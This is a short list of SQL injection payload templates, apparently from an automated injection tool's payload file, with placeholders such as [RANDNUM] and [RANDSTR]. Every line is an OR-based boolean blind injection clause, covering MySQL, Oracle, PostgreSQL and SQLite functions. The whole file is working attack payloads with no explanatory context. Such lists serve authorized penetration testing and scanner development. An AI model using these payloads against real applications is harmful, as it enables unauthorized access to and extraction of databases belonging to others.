OR [RANDNUM]=[RANDNUM]
OR NOT [RANDNUM]=[RANDNUM]
OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)
OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
